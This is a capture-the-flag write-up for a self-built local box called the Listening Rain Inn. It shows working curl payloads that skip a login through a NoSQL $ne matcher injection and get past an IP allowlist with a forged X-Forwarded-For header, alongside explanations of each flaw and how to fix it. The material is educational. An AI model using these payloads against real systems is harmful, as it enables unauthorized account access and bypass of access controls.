10 min read

Hacker Blind Box #002: Night Letter from the Listening Rain Inn — The Rain Gate Believed the First Lie

Hacker Blind Box #002: Night Letter from the Listening Rain Inn — The Rain Gate Believed the First Lie
📚 Series · Hacker Blind Box · Custom Vulnerable Machines
  1. #001 Yunhai Sword Sect — JWT key leak via source map
  2. ▸ #002 Listening Rain Inn — NoSQL injection & XFF bypass (this post)
  3. #003 The Unlit City — JWT forgery & IDOR
Difficulty: Easy~Medium

Prologue: What's Inside This Box

This is the second box in the "Hacker Blind Box" series, and the second chapter of the Cloud Sea Sword Sect arc. Like the last one, it has been reviewed by codex — grab it and play.

In Chapter 1, Shen Xiaoshi got to read the Sect Master's true teachings — but on a rainy night, a line of faint ink surfaced on the back of the secret scroll: "If the bell stops at the hour of the Rat, go down the mountain to the Listening Rain Inn and look into the night I never came home." What we have to break into this time is an inn whose keeper has an impeccably attentive smile — and eyes that never quite meet the ledger.

Two tracks again, same as before: the walkthrough parts are written in "we", walking the whole path one step at a time; the design parts switch back to "I", where I talk about why each trap was placed the way it was. If you haven't played it yet, feel free to close this post after the "Setting Up the Environment" section.

1. Setting Up the Environment

unzip hacker-blindbox-004-yunhai-listening-rain-inn.zip
cd yunhai-listening-rain-inn-box-004
docker compose up --build -d

Once it's up, open your browser:

http://127.0.0.1:8090/

Tonight's rules (carried over from the box's own README):

  1. The only target is the Listening Rain Inn on your own machine.
  2. No brute forcing or mass guessing required.
  3. Understand the normal ledger response first, then hunt the anomaly.
  4. Every critical clue is obtainable by the player.
Rule three is this box's main-quest instruction, not a pleasantry.

In Chapter 1 you could just blast through directories and pick clues off the floor; not in this one — you have to log in once with the public account and understand what a response is supposed to look like before you can tell what's off later. I deliberately printed the credentials straight into the form's value attributes, precisely so players don't burn their time on "how do I get in" and spend it on "what am I looking at now that I'm in".

2. Checking In Normally: Understand the Ledger Page First

The check-in form on the homepage is already filled in for you: shen-xiaoshi / cloud-scroll-17. Let's play by the rules and log in once.

Digging through /static/ledger.js shows which API it hits and what fields it sends:

curl -sS http://127.0.0.1:8090/static/ledger.js -o ledger.js
grep -Ein 'fetch|body:' ledger.js
87:      const response = await fetch("/api/ledger/login", {
93:        body: JSON.stringify({ alias: username, seal: password }),

The fields aren't called username / password — they're alias / seal. Let's send it in that shape:

curl -sS -X POST http://127.0.0.1:8090/api/ledger/login \
  -H 'Content-Type: application/json' \
  -d '{"alias":"shen-xiaoshi","seal":"cloud-scroll-17"}' | python3 -m json.tool
{
  "expires_in": 7200,
  "notes": ["...", "...", "..."],
  "profile": {
    "alias": "shen-xiaoshi",
    "display_name": "沈小石",
    "role": "traveler"
  },
  "session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IlNFU1NJT04ifQ...",
  "token_type": "Bearer"
}

role: traveler — a privilege field again, but this time it's different from Chapter 1: the signing key isn't leaked anywhere, so the self-signing route is a dead end. We have to make the server itself hand out a higher-privilege token.

And those three notes lines are this chapter's signposts:

One: You brushed clear water across the back of Chapter 1's secret scroll, and faint ink rose to the surface: "The Sect Master is not dead; there is more to the night of the Scripture Pavilion than was told." Two: The second line says only: "Go check the old courier roster. That batch-import convention always picks the first person who matches." Three: The last line has been blurred by rain; only one sentence survives: "Do not look only at who stands before the gate — listen for who the Rain Gate believes is walking at the front."

The second line is the mechanism's spec sheet; the third is foreshadowing for the final stage. Let's deal with the second line first.

I wrote those three notes with a lot of restraint: they explain the mechanism, never the answer.

"Always picks the first person who matches" tells you how the system works, but not what payload to send; "who the Rain Gate believes is walking at the front" points at where the trust lives, but never names the header. Everything in between is left to the player, and that's the amount of hand-holding I think a hint should have — a clue's job is to narrow the search space, not to spoon-feed the answer.

3. The Innkeeper's Muttering: Some Fields Take More Than Text

There's a note pinned to the sidebar on the homepage:

"The keeper says some fields in the old ledger take more than just text; the front end stopped using them long ago, but the spec was never withdrawn."

Break that into two claims:

  • "More than just text" → some field accepts a type other than string
  • "The front end stopped using them, but the spec was never withdrawn" → there's a deprecated-but-not-removed interface still alive

And there's one line in ledger.js that echoes it perfectly:

if (notes && typeof notes === "object") return JSON.stringify(notes, null, 2);

The front end still carries logic for handling object types, which means non-string types really do flow through this system.

Let's see what happens if we send a non-string:

API=http://127.0.0.1:8090/api/ledger/login
H='Content-Type: application/json'
curl -sS -X POST $API -H "$H" -d '{"alias":"shen-xiaoshi","seal":{}}'
{"error":"unsupported_matcher"}

This error message is good news. It isn't "wrong passphrase", and it isn't "type error" — it's "unsupported matcher" — meaning the backend really does have a matcher mechanism; it just doesn't recognize the one I sent.

The instinct at this point is to reach for MongoDB's classic {"$ne": null}, but that gets blocked too. Right direction, wrong syntax.

I really like the unsupported_matcher response, because it does two things at once: it rejects the wrong payload, and it tells you "the matcher road is the right road."

If this had returned a vague "login failed", players would assume the type-juggling path was dead and give up. The granularity of your error messages is one of the most important knobs in puzzle design — too coarse and players get lost, too fine and you've handed them the answer outright.

4. The Old Comment Inside ledger.js

Rather than guessing the syntax, go read the spec. 139 lines of JS isn't much, so let's just read the whole thing:

grep -vE '^\s*$' ledger.js | head -20

And this is lying right at the top of the file:

// Legacy ledger compatibility note: early clients would first call GET /api/ledger/schema
// to look up the ledger field spec as JSON. The new form has fixed fields, but the inn still keeps that public spec around for old clients.

"The front end stopped using them, but the spec was never withdrawn" — that's it, word for word.

5. Reading the Spec: The Old Courier Roster

curl -sS http://127.0.0.1:8090/api/ledger/schema | python3 -m json.tool
{
  "title": "驛使舊名冊批次匯入規格",
  "endpoint": { "method": "POST", "path": "/api/ledger/login" },
  "fields": {
    "alias": {
      "accepted": ["string", "matcher"],
      "string": "與名冊 alias 精確相等",
      "matcher": { "$ne": "值必須是 string;名冊值不等於該字串時即符合" }
    },
    "seal": { "...同上..." }
  },
  "legacy_rule": "批次匯入沿用舊式 matcher;名冊依原始順序查詢,first match wins。",
  "selection": "兩個欄位皆符合時選取該筆;若多筆符合,回傳第一筆。"
}

The spec spells out two things in black and white:

  1. $ne's value must be a string (which is exactly why $ne: null got rejected a moment ago)
  2. first match wins — when several records match, the first one is returned

Put those two together and you have the complete exploitation condition.

6. First Match Wins: Fishing Out the Night Courier

Craft a condition that everyone satisfies — $ne against a string that doesn't exist anywhere in the roster:

curl -sS -X POST $API -H "$H" \
  -d '{"alias":{"$ne":"__nobody__"},"seal":{"$ne":"__nobody__"}}' \
  | python3 -m json.tool
{
  "profile": {
    "alias": "night-courier",
    "display_name": "夜行使者",
    "role": "courier"
  },
  "session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IlNFU1NJT04ifQ..."
}

No password at all, and we're straight into the courier identity.

The key point: I stopped "supplying an answer" and started "defining the question". Logging in was supposed to make me prove that I know the seal; instead I described a condition that everybody satisfies — the seal was never validated at any point, because I never claimed to be validating it in the first place.

And the Night Courier's notes hand you the final stage's spec verbatim:

One: Urgent order in the night rain — the final dispatch point is /internal/moon-gate/dispatch. Two: Carry the session obtained from this login, placed in Authorization: Bearer <session>. Three: The Rain Gate guard trusts the address before the first comma in X-Forwarded-For, and only lets 127.0.0.1 through.
Why the "Night Courier" and not just some random person? Because first match wins always fishes out the very first record in the roster, and I put the courier in that first slot precisely to reproduce the shape you see most often in the real world — the privileged account in the initial seed data is always sitting right at the front.

That's also why I think first-match-wins is more dangerous than the matcher itself. Semantically, "multiple records matched" ought to be an error state during login, because login exists to uniquely identify one person. Returning the first row turns ambiguity into a normal code path.

7. The Rain Gate Believed the First Lie

First, let's see where we get stopped with no headers at all:

S='<night-courier session>'
D=http://127.0.0.1:8090/internal/moon-gate/dispatch
curl -sSi -H "Authorization: Bearer $S" $D
{"error":"rain_gate_denied"}

RainGate only reads the first segment of XFF — and the first segment of XFF is client-controlled:

curl -sSi -H "Authorization: Bearer $S" \
  -H 'X-Forwarded-For: 127.0.0.1, 203.0.113.9' $D
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8

The Rain Gate swings open.

This is worth pausing on to explain the underlying principle. X-Forwarded-For's original purpose is this: when a request passes through a reverse proxy, the source IP the backend sees becomes the proxy's IP, and the real user's IP is lost — so the proxy records it in this header, appending one more entry at every hop:

X-Forwarded-For: <real client>, <proxy1>, <proxy2>

So the first segment is "in theory" the original client. The problem is that "in theory" — this header is plain text, with no signature and no validation. If the request never went through a proxy at all, then the first segment is simply whatever the user made up:

X-Forwarded-For: 127.0.0.1, 203.0.113.9
                 ↑ I made that up
                            ↑ also made up

The correct approach is to read it backwards: what you actually trust are the proxy layers you deployed yourself, so count in from the right-hand end of the XFF list, skipping past the number of known-trusted proxies before you take a value. Or, more cleanly still, use a header the proxy writes itself — one whose same-named client input is stripped at the edge.

8. The Full Attack Chain

Log in with the public account (shen-xiaoshi / traveler)
   │  notes: "That batch-import convention always picks the first person who matches"
   ▼
ledger.js comment → GET /api/ledger/schema (deprecated but still public)
   │  Spec states: alias/seal accept a matcher, $ne's value must be a string
   │               the roster is queried in original order, first match wins
   ▼
{"alias":{"$ne":"__nobody__"},"seal":{"$ne":"__nobody__"}}
   │  → matches everyone → returns the first roster entry = night-courier (role: courier)
   ▼
the courier's notes leak /internal/moon-gate/dispatch + the XFF rule
   │
   ▼
X-Forwarded-For: 127.0.0.1, 203.0.113.9
   │  RainGate only looks at the address before the first comma
   ▼
🚩 flag

9. Vulnerability Breakdown: Three Layers Stacked

Chapter 1 was two layers multiplied together; this chapter is three. Looked at individually, each layer's severity is limited.

Layer 1: A Deprecated Endpoint That Was Never Taken Down

/api/ledger/schema is the spec lookup old clients used. The new front end stopped calling it a long time ago, but the route is still there — and it requires no authentication whatsoever.

On its own it does no damage — it's just a field description. But it takes everything the attacker would otherwise have had to guess blind (the matcher syntax, the value-type restriction on $ne, the first-match-wins behaviour) and serves it up on a platter. How dangerous an information leak is depends on how much of the attacker's time it saves.

There are far too many real-world equivalents: the /swagger.json nobody remembered to close, /graphql introspection, the debug /actuator/env, the old API's /v1/ paths. The feature was retired; the route wasn't.

Layer 2: Type Confusion + First Match Wins

The backend expects a string, but the language permits an object, and the query layer gives objects a special interpretation — that's the essence of NoSQL injection. A MongoDB query is a JSON object, so if you shove req.body.password straight into findOne({password: ...}), sending {"$ne": null} walks right past it. Express's body-parser will even auto-parse a query string like password[$ne]=1 into a nested object — you don't even have to send JSON.

And first match wins is the amplifier. Type confusion by itself only gets you "somebody"; add "return the first row when several match" and what you get is the earliest-created account — which in most systems means admin, or the privileged account from the initialization import.

Layer 3: Trusting a Client-Controlled Header

I covered the XFF problem above, so just one addendum here: this particular pathology has an enormous number of variants — X-Real-IP, X-Client-IP, X-Originating-IP, Forwarded, CF-Connecting-IP. Bypassing IP allowlists, bypassing rate limiting, forging the source address in audit logs — it's all the same thing.

I stacked three layers because this is what real penetration testing actually looks like.

Single Critical findings are genuinely rare; most reports are three or four Lows and Mediums strung together into one attack chain. And the mistake defenders make most easily is closing a P4 without fixing it — "the schema is only documentation", "first match wins is just an implementation detail", "there's a WAF in front of XFF anyway" — right up until somebody wires them all together.

Chapter 1 was about teaching you to read. This chapter is about teaching you to chain.

Closing Thoughts

Every single step in this box is written out in plain sight: the credentials are printed in the form, the mechanism is written in the notes, the syntax is listed in the schema, and the trust rule even tells you outright that it's the first segment of XFF.

Not one stage needs brute force — but you have to wire the whole chain together yourself.

Beyond the Rain Gate lies an abandoned relay station, and the Sect Master's handwriting points toward a frontier town where the lamps are never lit. Chapter 3, "The Lightless City" — see you before the full moon.

This post is a writeup for a target machine I built myself. The machine is for local study only; please do not use any of the techniques described here against targets you are not authorized to test.